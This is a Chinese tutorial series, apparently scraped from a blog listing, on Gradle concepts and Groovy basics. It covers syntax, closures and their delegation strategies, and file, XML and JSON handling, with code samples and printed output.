bufferedReader.eachLine {String line ->
bufferedWriter.write(line + "\r\n")
}
}
}

2、XML 文件操作


1)、解析 XML 文件

//定义一个带格式的 xml 字符串
def xml = '''
<response>
<value>
<books id="1" classification="android">
<book available="14" id="2">
<title>第一行代码</title>
<author id="2">郭霖</author>
</book>
<book available="13" id="3">
<title>Android开发艺术探索</title>
<author id="3">任玉刚</author>
</book>
</books>
</value>
</response>
'''
//创建 XmlSlurper 类对象,解析 XML 文件主要借助 XmlSlurper 这个类
def xmlSlurper = new XmlSlurper()
//解析 mxl 返回 response 根结点对象
def response = xmlSlurper.parseText(xml)
//打印一些结果
println response.value.books[0].book[0].title.text()
println response.value.books[0].book[0].author.text()
//打印结果
第一行代码
郭霖

//1、使用迭代器解析
response.value.books.each{ books ->
books.book.each{ book ->
println book.title
println book.author
}
}
//打印结果
第一行代码
郭霖
Android开发艺术探索
任玉刚

//2、深度遍历 XML 数据
def str1 = response.depthFirst().findAll { book ->
return book.author == '郭霖'
}
println str1
//打印结果
[第一行代码郭霖]

//3、广度遍历 XML 数据
def str2 = response.value.books.children().findAll{ node ->
node.name() == 'book' && node.@id == '2'
}.collect { node ->
"$node.title $node.author"
}
println str2
//打印结果
[第一行代码 郭霖]

2)、生成 XML 文件


上面我们使用 XmlSlurper 这个类解析了 XML,现在我们借助 MarkupBuilder 来生成 XML ,代码如下:

/**
* <response>
* <value>
* <books id="1" classification="android">
* <book available="14" id="2">
* <title>第一行代码</title>
* <author id="2">郭霖</author>
* </book>
* <book available="13" id="3">
* <title>Android开发艺术探索</title>
* <author id="3">任玉刚</author>
* </book>
* </books>
* </value>
* </response>
*/
//方式1:通过下面这种方式 就可以实现上面的效果,但是这种方式有个弊端,数据都是写死的
def sw = new StringWriter()
def xmlBuilder = new MarkupBuilder(sw)
xmlBuilder.response{
value{
books(id: '1',classification: 'android'){
book(available: '14',id: '2'){
title('第一行代码')
author(id: '2' ,'郭霖')
}
book(available: '13',id: '3'){
title('Android开发艺术探索')
author(id: '3' ,'任玉刚')
}
}
}
}
println sw

//方式2:将 XML 数据对应创建相应的数据模型,就像我们解析 Json 创建相应的数据模型是一样的
//创建 XML 对应数据模型
class Response {

def value = new Value()

class Value {

def books = new Books(id: '1', classification: 'android')

class Books {
def id
def classification
def book = [new Book(available: '14', id: '2', title: '第一行代码', authorId: 2, author: '郭霖'),
new Book(available: '13', id: '3', title: 'Android开发艺术探索', authorId: 3, author: '任玉刚')]

class Book {
def available
def id
def title
def authorId
def author
}
}
}
}

//创建 response 对象
def response = new Response()
//构建 XML
xmlBuilder.response{
value{
books(id: response.value.books.id,classification: response.value.books.classification){
response.value.books.book.each{
def book1 = it
book(available: it.available,id: it.id){
title(book1.title)
author(authorId: book1.authorId,book1.author)
}
}
}
}
}
println sw

3、Json 解析


Json解析主要是通过 JsonSlurper 这个类实现的,这样我们在写插件的时候就不需要额外引入第三方的 Json 解析库了,其示例代码如下所示:

//发送请求获取服务器响应的数据
def response = getNetWorkData("https://www.wanandroid.com/banner/json")
println response.data[0].desc
println response.data[0].imagePath

def getNetWorkData(String url){
def connect = new URL(url).openConnection()
connect.setRequestMethod("GET")
//这个会阻塞线程 在Android中不能这样操作 但是在桌面程序是可以的
connect.connect()
def response = connect.content.text

//json转实体对象
def jsonSlurper = new JsonSlurper()
jsonSlurper.parseText(response)
}
//打印结果
扔物线
https://wanandroid.com/blogimgs/8a0131ac-05b7-4b6c-a8d0-f438678834ba.png

7、总结


在本篇文章中,我们主要介绍了以下几个部分:


1、一些关于 Gradle ,Groovy 的问题


2、搭建 Groovy 开发环境,创建一个 Groovy 工程


3、讲解了 Groovy 的一些基础语法


4、对闭包进行了深入的讲解


5、讲解了 Groovy 中的数据结构和常用 Api 使用,并以 Map 举例,查阅官方文档去确定 Api 的使用和闭包的参数


6、讲解了 Groovy 文件相关的处理


学习了 Groovy ,对于我们后续自定义 Gradle 插件迈出了关键的一步。其次如果你学习过 Kotlin ,你会发现,它们的语法非常的类似,因此对于后续学习 Kotlin 我们也可以快速去上手。


作者:妖孽那里逃
链接:https://www.jianshu.com/p/124effa509bb
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

"Gradle"系列: 一、Gradle相关概念理解,Groovy基础(3)

四、Groovy 闭包 在 Groovy 中,闭包非常的重要,因此单独用一个模块来讲 1、闭包定义 引用 Groovy 官方对闭包的定义:A closure in Groovy is an open, anonymous, block of code that...
继续阅读 »

四、Groovy 闭包


在 Groovy 中,闭包非常的重要,因此单独用一个模块来讲


1、闭包定义


引用 Groovy 官方对闭包的定义:A closure in Groovy is an open, anonymous, block of code that can take arguments, return a value and be assigned to a variable. 翻译过来就是:Groovy 中的闭包是一个开放的、匿名的代码块,它可以接受参数、返回值并将值赋给变量。 通俗的讲,闭包可以作为方法的参数和返回值,也可以作为一个变量而存在,闭包本质上就是一段代码块,下面我们就由浅入深的来学习闭包


2、闭包声明


1、闭包基本的语法结构:外面一对大括号,接着是申明参数,参数类型可省略,在是一个 -> 箭头号,最后就是闭包体里面的内容


2、闭包也可以不定义参数,如果闭包没定义参数的话,则隐含有一个参数,这个参数名字叫 it

//1
{ params ->
//do something
}

//2
{
//do something
}

3、闭包调用


1、闭包可以通过 .call 方法来调用


2、闭包可以直接用括号+参数来调用

//定义一个闭包赋值给 closure 变量
def closure = { params1,params2 ->
params1 + params2
}

//闭包调用方式1: 闭包可以通过 .call 方法来调用
def result1 = closure('erdai ','666')
//闭包调用方式2: 闭包可以直接用括号+参数来调用
def result2 = closure.call('erdai ','777')
//打印值
println result1
println result2
//打印结果
erdai 666
erdai 777

//定义一个无参闭包
def closure1 = {
println('无定义参数闭包')
}
closure1() //或者调用 closure1.call()
//打印结果
无定义参数闭包

4、闭包进阶


1)、闭包中的关键变量


每个闭包中都含有 this、owner 和 delegate 这三个内置对象,那么这三个三个内置对象有啥区别呢?我们用代码去验证一下


注意


1、getThisObject() 方法 和 thisObject 属性等同于 this


2、getOwner() 方法 等同于 owner


3、getDelegate() 方法 等同于 delegate


这些去看闭包的源码你就会有深刻的体会


1、我们在 GroovyGrammar.groovy 这个脚本类中定义一个闭包打印这三者的值看一下:

//定义一个闭包
def outerClosure = {
println "this: " + this
println "owner: " + owner
println "delegate: " + delegate
}
//调用闭包
outerClosure.call()
//打印结果
this: variable.GroovyGrammar@39dcf4b0
owner: variable.GroovyGrammar@39dcf4b0
delegate: variable.GroovyGrammar@39dcf4b0
//证明当前三者都指向了GroovyGrammar这个脚本类对象

2、我们在这个 GroovyGrammar.groovy 这个脚本类中定义一个类,类中定义一个闭包,打印看下结果:

//定义一个 OuterClass 类
class OuterClass {
//定义一个闭包
def outerClosure = {
println "this: " + this
println "owner: " + owner
println "delegate: " + delegate
}
}

def outerClass = new OuterClass()
outerClass.outerClosure.call()

//打印结果如下:
this: variable.OuterClass@1992eaf4
owner: variable.OuterClass@1992eaf4
delegate: variable.OuterClass@1992eaf4
//结果证明这三者都指向了当前 OuterClass 类对象

3、我们在 GroovyGrammar.groovy 这个脚本类中,定义一个闭包,闭包中在定义一个闭包,打印看下结果:

def outerClosure = {
def innerClosure = {
println "this: " + this
println "owner: " + owner
println "delegate: " + delegate
}
innerClosure.call()

}
println outerClosure
outerClosure.call()

//打印结果如下
variable.GroovyGrammar$_run_closure4@64beebb7
this: variable.GroovyGrammar@5b58ed3c
owner: variable.GroovyGrammar$_run_closure4@64beebb7
delegate: variable.GroovyGrammar$_run_closure4@64beebb7
//结果证明 this 指向了当前GroovyGrammar这个脚本类对象 owner 和 delegate 都指向了 outerClosure 闭包对象

我们梳理一下上面的三种情况:


1、闭包定义在GroovyGrammar.groovy 这个脚本类中 this owner delegate 就指向这个脚本类对象


2、我在这个脚本类中创建了一个 OuterClass 类,并在他里面定义了一个闭包,那么此时 this owner delegate 就指向了 OuterClass 这个类对象


3、我在 GroovyGrammar.groovy 这个脚本类中定义了一个闭包,闭包中又定义了一个闭包,this 指向了当前GroovyGrammar这个脚本类对象, owner 和 delegate 都指向了 outerClosure 闭包对象


因此我们可以得到结论:


1、this 永远指向定义该闭包最近的类对象,就近原则,定义闭包时,哪个类离的最近就指向哪个,我这里的离得近是指定义闭包的这个类,包含内部类


2、owner 永远指向定义该闭包的类对象或者闭包对象,顾名思义,闭包只能定义在类中或者闭包中


3、delegate 和 owner 是一样的,我们在闭包的源码中可以看到,owner 会把自己的值赋给 delegate,但同时 delegate 也可以赋其他值


注意:在我们使用 this , owner , 和 delegate 的时候, this 和 owner 默认是只读的,我们外部修改不了它,这点在源码中也有体现,但是可以对 delegate 进行操作


2)、闭包委托策略


下面我们就来对修改闭包的 delegate 进行实操:

//创建一个香蕉类
class Banana{
def name
}

//创建一个橘子类
class Orange{
def name
}

//定义一个香蕉对象
def banana = new Orange(name: '香蕉')
//定义一个橘子对象
def orange = new Orange(name: '橘子')
//定义一个闭包对象
def closure = {
//打印值
println delegate.name
}
//调用闭包
closure.call()

//运行一下,发现结果报错了,如下
Caught: groovy.lang.MissingPropertyException: No such property: name for class: variable.GroovyGrammar
//大致意思就是GroovyGrammar这个脚本类对象没有这个 name 对象

我们来分析下报错的原因原因,分析之前我们要明白一个知识点:


闭包的默认委托策略是 OWNER_FIRST,也就是闭包会先从 owner 上寻找属性或方法,找不到则在 delegate 上寻找


1、closure 这个闭包是生明在 GroovyGrammar 这个脚本类当中


2、根据我们之前学的知识,在不改变 delegate 的情况下 delegate 和 owner 是一样的,都会指向 GroovyGrammar 这个脚本类对象


3、GroovyGrammar 这个脚本类对象,根据闭包默认委托策略,找不到 name 这个属性


因此报错了,知道了报错原因,那我们就修改一下闭包的 delegate , 还是上面那段代码,添加如下这句代码:

//修改闭包的delegate
closure.delegate = orange
//我们在运行一下,打印结果:
橘子

此时闭包的 delegate 指向了 orange ,因此会打印 orange 这个对象的 name ,那么我们把 closure 的 delegate 改为 banana,肯定就会打印香蕉了

//修改闭包的delegate
closure.delegate = banana
//我们在运行一下,打印结果:
香蕉

3)、深入闭包委托策略

//定义一个 ClosureDepth 类
class ClosureDepth{
//定义一个变量 str1 赋值为 erdai666
def str1 = 'erdai666'
//定义一个闭包
def outerClosure = {
//定义一个变量 str2 赋值为 erdai777
def str2 = 'erdai777'
//打印str1 分析1
println str1

//闭包中在定义一个闭包
def innerClosure = {
//分析2
println str1
println str2
}
//调用内部这个闭包
innerClosure.call()
}
}

//创建 ClosureDepth 对象
def closureDepth = new ClosureDepth()
//调用外部闭包
closureDepth.outerClosure.call()
//运行程序,打印结果如下
erdai666
erdai666
erdai777

上面代码注释写的很清楚,现在我们来重点分析下分析1和分析2处的打印值:


分析1:


分析1处打印了 str1 , 它处于 outerClosure 这个闭包中,此时 outerClosure 这个闭包的 owner , delegate 都指向了 ClosureDepth 这个类对象,因此 ClosureDepth 这个类对象的属性和方法我们就都能调用到,因此分析1处会打印 erdai666


分析2:


分析2处打印了 str1和 str2,它处于 innerClosure 这个闭包中,此时 innerClosure 这个闭包的 owner 和 delegate 会指向 outerClosure 这个闭包对象,我们会发现 outerClosure 有 str2 这个属性,但是并没有 str1 这个属性,因此 outerClosure 这个闭包会向它的 owner 去寻找,因此会找到 ClosureDepth 这个类对象的 str1 属性,因此打印的 str1 是ClosureDepth 这个类对象中的属性,打印的 str2 是outerClosure 这个闭包中的属性,所以分析2处的打印结果分别是 erdai666 erdai777


上面的例子中没有显式的给 delegate 设置一个接收者,但是无论哪层闭包都能成功访问到 str1、str2 值,这是因为默认的解析委托策略在发挥作用,Groovy 闭包的委托策略有如下几种:




  1. OWNER_FIRST:默认策略,首先从 owner 上寻找属性或方法,找不到则在 delegate 上寻找


  2. DELEGATE_FIRST:和上面相反,首先从 delegate 上寻找属性或者方法,找不到则在 owner 上寻找


  3. OWNER_ONLY:只在 owner 上寻找,delegate 被忽略


  4. DELEGATE_ONLY:和上面相反,只在 delegate 上寻找,owner 被忽略


  5. TO_SELF:高级选项,让开发者自定义策略,必须要自定义实现一个 Closure 类,一般我们这种玩家用不到


下面我们就来修改一下闭包的委托策略,加深理解:

class People1{
def name = '我是People1'

def action(){
println '吃饭'
}

def closure = {
println name
action()
}
}

class People2{
def name = '我是People2'

def action(){
println '睡觉'
}
}

def people1 = new People1()
def people2 = new People2()
people1.closure.delegate = people2
people1.closure.call()
//运行下程序,打印结果如下:
我是People1
吃饭

what? 这是啥情况,我不是修改了 delegate 为 people2 了,怎么打印结果还是 people1 的?那是因为我们忽略了一个点,没有修改闭包委托策略,他默认是 OWNER_FIRST ,因此我们修改一下就好了,还是上面这段代码,添加一句代码如下:

people1.closure.resolveStrategy = Closure.DELEGATE_FIRST
//运行下程序,打印结果如下:
我是People2
睡觉

到这里,相信你对闭包了解的差不多了,下面我们在看下闭包的源码就完美了


4)、闭包 Closure 类源码


仅贴出关键源码

public abstract class Closure<V> extends GroovyObjectSupport implements Cloneable, Runnable, GroovyCallable<V>, Serializable {
/**
* 熟悉的一堆闭包委托代理策略
*/
public static final int OWNER_FIRST = 0;
public static final int DELEGATE_FIRST = 1;
public static final int OWNER_ONLY = 2;
public static final int DELEGATE_ONLY = 3;
public static final int TO_SELF = 4;
/**
* 闭包对应的三个委托对象 thisObject 对应的就是 this 属性,都是用 private 修饰的,外界访问不到
*/
private Object delegate;
private Object owner;
private Object thisObject;
/**
* 闭包委托策略
*/
private int resolveStrategy;

/**
* 在闭包的构造方法中:
* 1、将 resolveStrategy 赋值为0,也是就默认委托策略OWNER_FIRST
* 2、thisObject ,owner ,delegate都会被赋值,delegate 赋的是 owner的值
*/
public Closure(Object owner, Object thisObject) {
this.resolveStrategy = 0;
this.owner = owner;
this.delegate = owner;
this.thisObject = thisObject;
CachedClosureClass cachedClass = (CachedClosureClass)ReflectionCache.getCachedClass(this.getClass());
this.parameterTypes = cachedClass.getParameterTypes();
this.maximumNumberOfParameters = cachedClass.getMaximumNumberOfParameters();
}

/**
* thisObject 只提供了 get 方法,且 thisObject 是用 private 修饰的,因此 thisObject 即 this 只读
*/
public Object getThisObject() {
return this.thisObject;
}

/**
* owner 只提供了 get 方法,且 owner 是用 private 修饰的,因此 owner 只读
*/
public Object getOwner() {
return this.owner;
}

/**
* delegate 提供了 get 和 set 方法,因此 delegate 可读写
*/
public Object getDelegate() {
return this.delegate;
}

public void setDelegate(Object delegate) {
this.delegate = delegate;
}

/**
* 熟悉的委托策略设置
*/
public void setResolveStrategy(int resolveStrategy) {
this.resolveStrategy = resolveStrategy;
}
public int getResolveStrategy() {
return resolveStrategy;
}
}

到这里闭包相关的知识点就都讲完了,但是,但是,但是,重要的事情说三遍:我们使用闭包的时候,如何去确定闭包的参数呢?,这个真的很蛋疼,作为 Android 开发者,在使用 AndroidStudio 进行 Gradle 脚本编写的时候,真的是非常不友好,上面我讲了可以使用一个小技巧去解决这个问题,但是这种情况是在你知道要使用一个 Api 的情况下,比如你知道 Map 的 each 方法可以遍历,但是你不知道参数,这个时候就可以去使用。那如果你连 Api 都不知道使用,那就更加不知道闭包的参数了,因此要解决这种情况,我们就必须去查阅 Groovy 官方文档:


http://www.groovy-lang.org/api.html


http://docs.groovy-lang.org/latest/html/groovy-jdk/index-all.html



作者:妖孽那里逃
链接:https://www.jianshu.com/p/124effa509bb
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

"Gradle"系列: 一、Gradle相关概念理解,Groovy基础(2)

三、Groovy 基础语法 再次强调 Groovy 是基于 java 扩展的动态语言,直接写 java 代码是没问题的,既然如此,Groovy 的优势在哪里呢? 在于 Groovy 提供了更加灵活简单的语法,大量的语法糖以及闭包特性可以让你用更少的代码来实现和...
继续阅读 »

三、Groovy 基础语法


再次强调 Groovy 是基于 java 扩展的动态语言,直接写 java 代码是没问题的,既然如此,Groovy 的优势在哪里呢?


在于 Groovy 提供了更加灵活简单的语法,大量的语法糖以及闭包特性可以让你用更少的代码来实现和Java同样的功能。比如解析xml文件,Groovy 就非常方便,只需要几行代码就能搞定,而如果用 Java 则需要几十行代码。


1、支持动态类型,使用 def 关键字来定义一个变量


在 Groovy 中可以使用 def 关键字定义一个变量,当然 Java 里面定义数据类型的方式,在 Groovy 中都能用

//Java 中,我们一般会这么定义
int age = 16
String name = "erdai"

//Groovy 中,我们可以这样定义,在变量赋值后,Groovy 编译器会推断出变量的实际类型
def age = 16
def name = 'erdai'

2、不用写 ; 号


现在比较新的语言都不用写,如 Kotlin

def age = 16
def name = 'erdai'

3、没有基本数据类型了,全是引用类型


上面说到,定义一个变量使用 def 关键字,但是 Groovy 是基于 Java 扩展的,因此我们也可以使用 Java 里面的类型,如 Java 中8大基本类型:byte , short , int , long , float , double ,char,boolean

//定义8大基本类型
byte mByte = 1
short mShort = 2
int mInt = 3
long mLong = 4
float mFloat = 5
double mDouble = 6
char mChar = 'a'
boolean mBoolean = true
//对类型进行打印
println(mByte.class)
println(mShort.class)
println(mInt.class)
println(mLong.class)
println(mFloat.class)
println(mDouble.class)
println(mChar.class)
println(mBoolean.class)

//打印结果如下:
class java.lang.Byte
class java.lang.Short
class java.lang.Integer
class java.lang.Long
class java.lang.Float
class java.lang.Double
class java.lang.Character
class java.lang.Boolean

因此我们可以得出结论:Groovy中没有基本数据类型,全是引用类型,即使定义了基础类型,也会被转换成对应的包装类


4、方法变化


1、使用 def 关键字定义一个方法,方法不需要指定返回值类型,参数类型,方法体内的最后一行会自动作为返回值,而不需要return关键字


2、方法调用可以不写 () ,最好还是加上 () 的好,不然可读性不好


3、定义方法时,如果参数没有返回值类型,我们可以省略 def,使用 void 即可


4、实际上不管有没有返回值,Groovy 中返回的都是 Object 类型


5、类的构造方法,避免添加 def 关键字

def sum(a,b){
a + b
}
def sum = sum(1,2) //还可以写成这样,但是可读性不好 def sum = sum 1,2
println(sum)

//打印结果
3

//如果方法没有返回值,我们可以这样写:
void doSomething(param1, param2) {

}

//类的构造方法,避免添加 def 关键字
class MyClass {
MyClass() {

}
}

5、字符串变化


在 Groovy 中有三种常用的字符串定义方式,如下所示:


这里先解释一下可扩展字符串的含义,可扩展字符串就是字符串里面可以引用变量,表达式等等


1 、单引号 '' 定义的字符串为不可扩展字符串


2 、双引号 "" 定义的字符串为可扩展字符串,可扩展字符串里面可以使用 ${} 引用变量值,当 {} 里面只有一个变量,非表达式时,{}也可以去掉


3 、三引号 ''' ''' 定义的字符串为输出带格式的不可扩展字符串

def age = 16
def name = 'erdai'
//定义一个不可扩展字符串,和我门在Java中使用差不多
def str1 = 'hello ' + name
//定义可扩展字符串,字符串里面可以引用变量值,当 {} 里面只有一个变量时,{}也可以去掉
def str2 = "hello $name ${name + age}"
//定义带输出格式的不可扩展字符串 使用 \ 字符来分行
def str3 = '''
\
hello
name
'''
//打印类型和值 下面代码我省略了 println 方法的(),上面有讲到这种语法也是允许的
println 'str1类型: ' + str1.class
println 'str1输出值: ' + str1
println 'str2类型: ' + str2.class
println 'str2输出值: ' + str2
println 'str3类型: ' + str3.class
println 'str3输出值: ' + str3

//打印结果
str1类型: class java.lang.String
str1输出值: hello erdai
str2类型: class org.codehaus.groovy.runtime.GStringImpl
str2输出值: hello erdai erdai16
str3类型: class java.lang.String
str3输出值:
hello
name

从上面代码我们可以看到,str2 是 GStringImpl 类型的,而 str1 和 str3 是 String 类型的,那么这里我就会有个疑问,这两种类型在相互赋值的情况下是否需要强转呢?我们做个实验在测试下:

//定义一个 String 类型的变量接收 GStringImpl 类型的变量,并没有强转
String str4 = str2
println 'str4类型: ' + str4.class
println 'str4输出值: ' + str4

//打印类型和值
str4类型: class java.lang.String
str4输出值: hello erdai erdai16

因此我们可以得出结论:编码的过程中,不需要特别关注 String 和 GString 的区别,编译器会帮助我们自动转换类型


6. 不用写 get 和 set 方法


1、在我们创建属性的时候,Groovy会帮我们自动创建 get 和 set 方法


2、当我们只定义了一个属性的 get 方法,而没有定义这个属性,默认这个属性只读


3、我们在使⽤对象 object.field 来获取值或者使用 object.field = value 来赋值的时候,实际上会自动转而调⽤ object.getField() 和 object.setField(value) 方法,如果我们不想调用这个特殊的 get 方法时则可以使用 .@ 直接域访问操作符访问属性本身


我们来模拟1,2,3这三种情况

//情况1:在我们创建属性的时候,Groovy会帮我们自动创建 get 和 set 方法
class People{
def name
def age
}

def people = new People()
people.name = 'erdai'
people.age = 19
println "姓名: $people.name 年龄: $people.age"
//打印结果
姓名: erdai 年龄: 19

//情况2 当我们定义了一个属性的 get 方法,而没有定义这个属性,默认这个属性只读
//我们修改一下People类
class People{
def name
def getAge(){
12
}
}

def people = new People()
people.name = 'erdai'
people.age = 19
println "姓名: $people.name 年龄: $people.age"
//运行一下代码 打印结果报错了,如下:
Caught: groovy.lang.ReadOnlyPropertyException: Cannot set readonly property: age for class: variable.People
//大概错误意思就是我们不能修改一个只读的属性

//情况3: 如果我们不想调用这个特殊的 get 方法时则可以使用 .@ 直接域访问操作符访问属性本身
class People{
def name
def age

def getName(){
"My name is $name"
}
}
//这里使用了命名的参数初始化和默认的构造器创建people对象,后面会讲到
def people = new People(name: 'erdai666')
people.age = 19
def myName = people.@name

//打印值
println myName
println "姓名: $people.name 年龄: $people.age"

//打印结果
erdai666
姓名: My name is erdai666 年龄: 19
//看到区别了吗?使用 people.name 则会去调用这个属性的get方法,而 people.@name 则会访问这个属性本身

7、Class 是一等公民,所有的 Class 类型可以省略 .Class

//定义一个Test类
class Test{

}

//定义一个测试class的方法,从前面的语法我们知道,方法的参数类型是可以省略的
def testClass(myClass){

}

//测试
testClass(Test.class)
testClass(Test)

8、== 和 equals


在 Groovy 中,== 就相当于 Java 的 equals,如果需要比较两个对象是否是同一个,需要使用 .is()

class People{
def name
def age
}

def people1 = new People(name: 'erdai666')
def people2 = new People(name: 'erdai666')

println("people1.name == people2.name is: " + (people1.name == people2.name))
println("people1 is people2 is: " + people1.is(people2))

//打印结果
people1.name == people2.name is: true
people1 is people2 is: false

9、使用 assert 来设置断言,当断言的条件为 false 时,程序将会抛出异常

assert  2 ** 4 == 15
//运行程序,报错了,结果如下:
Caught: Assertion failed:
assert 2 ** 4 == 15
| |
16 false

10、支持 ** 次方运算符

assert  2 ** 4 == 16

11、简洁的三元表达式

//在java中,我们会这么写
String str = obj != null ? obj : ""

//在Groovy中,我们可以这样写,?: 操作符表示如果左边结果不为空则取左边的值,否则取右边的值
String str = obj ?: ""

12、简洁的非空判断

//在java中,我们可能会这么写
if(obj != null){
if(obj.group != null){
if(obj.group.artifact != null){
//do something
}
}
}

//在Groovy中,我们可以这样写 ?. 操作符表示如果当前调用对象为空就不执行了
obj?.group?.artifact


13、强大的 Switch


在 Groovy 中,switch 方法变得更加灵活,强大,可以同时支持更多的参数类型,比在 Java 中增强了很多

def result = 'erdai666'
switch (result){
case [1,2,'erdai666']:
println "匹配到了result"
break
default:
println 'default'
break
}
//打印结果
匹配到了result

14、判断是否为 null 和 非运算符


在 Groovy 中,所有类型都能转成布尔值,比如 null 就相当于0或者相当于false,其他则相当于true

//在 Java 中,我们会这么用
if (name != null && name.length > 0) {

}

//在 Groovy 中,可以这么用,如果name为 null 或 0 则返回 false,否则返回true
if(name){

}

//非运算符 erdai 这个字符串为非 null ,因此为true,而 !erdai 则为false
assert (!'erdai') = false

15、可以使用 Number 类去替代 float、double 等类型,省去考虑精度的麻烦


16、默认是 public 权限


默认情况下,Groovy 的 class 和 方法都是 public 权限,所以我们可以省略 public 关键字,除非我们想使用 private 修饰符

class Server { 
String toString() { "a server" }
}

17、使用命名的参数初始化和默认的构造器


Groovy中,我们在创建一个对象实例的时候,可以直接在构造方法中通过 key value 的形式给属性赋值,而不需要去写构造方法,说的有点抽象,上代码感受一下:

//定义一个people
class People{
def name
def age
}

//我们可以通过以下几种方式去实例化一个对象,注意我们People类里面没有写任何一个构造方法哦
def people1 = new People()
def people1 = new People(age: 15)
def people2 = new People(name: 'erdai')
def people3 = new People(age: 15,name: 'erdai')

18、使用 with 函数操作同一个对象的多个属性和方法


with 函数接收一个闭包,闭包下面会讲,闭包的参数就是当前调用的对象

class People{
def name
def age

void running(){
println '跑步'
}
}
//定义一个 people 对象
def people = new People()
//调用 with 函数 闭包参数即为peopeo 如果闭包不写参数,默认会有一个 it 参数
people.with{
name = "erdai"
age = 19
println "$name $age"
running()
}
//打印结果
erdai 19
跑步

19、异常捕获


如果你实在不想关心 try 块里抛出何种异常,你可以简单的捕获所有异常,并且可以省略异常类型:

//在 java 中我们会这样写
try {
// ...
} catch (Exception e) {
// do something
}

//在 Groovy 中,我们可以这样写
try {
// ...
} catch (any) {
// do something
}


上面 Groovy 的写法其实就是省略了参数类型,实际上 any 的参数类型也是 Exception, 并不包括 Throwable ,如果你想捕获所有的异常,你可以明确捕获异常的参数类型



作者:妖孽那里逃
链接:https://www.jianshu.com/p/124effa509bb
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

"Gradle"系列: 一、Gradle相关概念理解,Groovy基础(1)

前言 引用 Gradle 官方一段对Gradle的介绍:Gradle is an open-source build automation tool focused on flexibility and performance. Gradle build sc...
继续阅读 »

前言


引用 Gradle 官方一段对Gradle的介绍:Gradle is an open-source build automation tool focused on flexibility and performance. Gradle build scripts are written using a Groovy or Kotlin DSL.翻译过来就是:Gradle 是一个开源的自动化构建工具,专注于灵活性和性能。Gradle 构建脚本是使用 Groovy 或 Kotlin DSL 编写的。 之前官网的介绍是说 Gradle 是基于 Groovy 的 DSL,为啥现在又多了个 Kotlin 呢?因为 Gradle 从5.0开始,开始支持了 Kotlin DSL,现在已经发展到了6.8.3,因此我们可以使用 Groovy 或者 Kotlin 来编写 Gradle脚本。Kotlin 现作为 Android 第一开发语言,重要性不言而喻,作为一个 Android开发者,Kotlin 是必学的,后续我也会出个 Kotlin 系列文章。今天我们的重点是介绍一些 Gradle 的相关概念,以及对 Groovy 语言的学习


一、问题


我学习知识喜欢以问题为导向,这样可以让我明确学习的目的,提高学习效率,下面也是我在学习 Gradle 的过程中,由浅入深所产生的一些疑问,我们都知道,Android 应用是用 Gradle 构建的,在刚开发 Android 的时候我会想:


1、什么是自动化构建工具?


2、Gradle 是什么?


3、什么是 DSL?


4、什么是 Groovy?


5、Gradle 和 Groovy 有什么区别?


6、静态编程语言和动态编程语言有什么区别?


带着这些疑问,我们继续学习


1、自动化构建工具


在 Android 上的体现,简单的说就是自动化的编译、打包程序


在上大学学习Java那会,老师为了让我们深刻的体验撸码的魅力,都是通过文本直接敲代码的,敲完之后把扩展名改成.java后缀,然后通过javac命令编译,编译通过后,在执行java命令去运行,那么这种文件一多,我们每次都得手动去操作,效率会大大的降低,这个时候就出现了自动化编译工具,我们只需要在编译工具中,点击编译按钮,编译完成后,无需其他手动操作,程序就可以直接运行了,自动化编译工具就是最早的自动化构建工具。那么随着业务功能的不断扩展,我们的产品需要加入多媒体资源,需要打不同的渠道包发布到不同的渠道,那就必须依靠自动化构建工具,要能支持平台、需求等方面的差异、能添加自定义任务、专门的用来打包生成最终产品的一个程序、工具,这个就是自动化构建工具。自动化构建工具本质上还是一段代码程序。这就是自动化构建工具的一个发展历程,自动化构建工具在这个过程中不断的发展和优化


2、Gradle 是什么?


理解了自动化构建工具,那么理解 Gradle 就比较简单了,还是引用官方的那一段话:


Gradle 是一个开源的自动化构建工具,专注于灵活性和性能。Gradle 构建脚本是使用 Groovy 或 Kotlin DSL 编写的。


Gradle 是 Android 的默认构建工具,Android 项目这么多东西,既有我们自己写的 java、kotlin、C++、Dart 代码,也有系统自己的 java、C,C++ 代码,还有引入的第三方代码,还有多媒体资源,这么多代码、资源打包成 APK 文件肯定要有一个规范,干这个活的就是我们熟悉的 gradle 了,总而言之,Gradle就是一个帮我们打包 APK 的工具


3、什么是DSL?


DSL英文全称:domain specific language,中文翻译即领域特定语言,例如:HTML,XML等 DSL 语言


特点



  • 解决特定领域的专有问题

  • 它与系统编程语言走的是两个极端,系统编程语言是希望解决所有的问题,比如 Java 语言希望能做 Android 开发,又希望能做后台开发,它具有横向扩展的特性。而 DSL 具有纵向深入解决特定领域专有问题的特性。


总的来说,DSL 的核心思想就是:“求专不求全,解决特定领域的问题”。


4、什么是 Groovy?


Groovy 是基于 JVM 的脚本语言,它是基于Java扩展的动态语言


基于 JVM 的语言有很多种,如:Groovy,Kotlin,Java,Scala等等,他们都拥有一个共同的特性:最终都会编译生成 Java 字节码文件并在 JVM 上运行。


因为 Groovy 就是对 Java 的扩展,所以,我们可以用学习 Java 的方式去学习 Groovy 。 学习成本相对来说还是比较低的,即使开发过程中忘记 Groovy 语法,也可以用 Java 语法继续编码


5、Gradle 和 Groovy 有什么区别?


Gradle是基于 Groovy 的一种自动化构建工具,是运行在JVM上的一个程序,Groovy是基于JVM的一种语言,Gradle 和 Groovy 的关系就像 Android 和 Java 的关系一样


6、静态编程语言和动态编程语言有什么区别?


静态编程语言是在编译期就要确定变量的数据类型,而动态编程语言则是在运行期确定变量的数据类型。就像静态代理和动态代理一样,一个强调的是编译期,一个强调的是运行期,常见的静态编程语言有Java,Kotlin等等,动态编程语言有Groovy,Python等语言。

二、Groovy 开发环境搭建与工程创建

1、到官网下载JDK安装,并配置好 JDK 环境



2、到官网下载好 Groovy SDK,并解压到合适的位置



3、配置 Groovy 环境变量



4、到官网下载 IntelliJ IDEA 开发工具并安装



5、创建 Groovy 工程即可


小技巧: 作为 Android 开发者,我们一般都是使用 AndroidStudio 进行开发的,但是 AndroidStudio 对于 Groovy 支持不是很友好,各种没有提示,涉及到闭包,你也不知道闭包的参数是啥?因此这个时候,你就可以使用 IntelliJ IDEA 先弄好,在复制过去,IntelliJ IDEA 对Groovy 的支持还是很友好的


作者:妖孽那里逃
链接:https://www.jianshu.com/p/124effa509bb
来源:简书
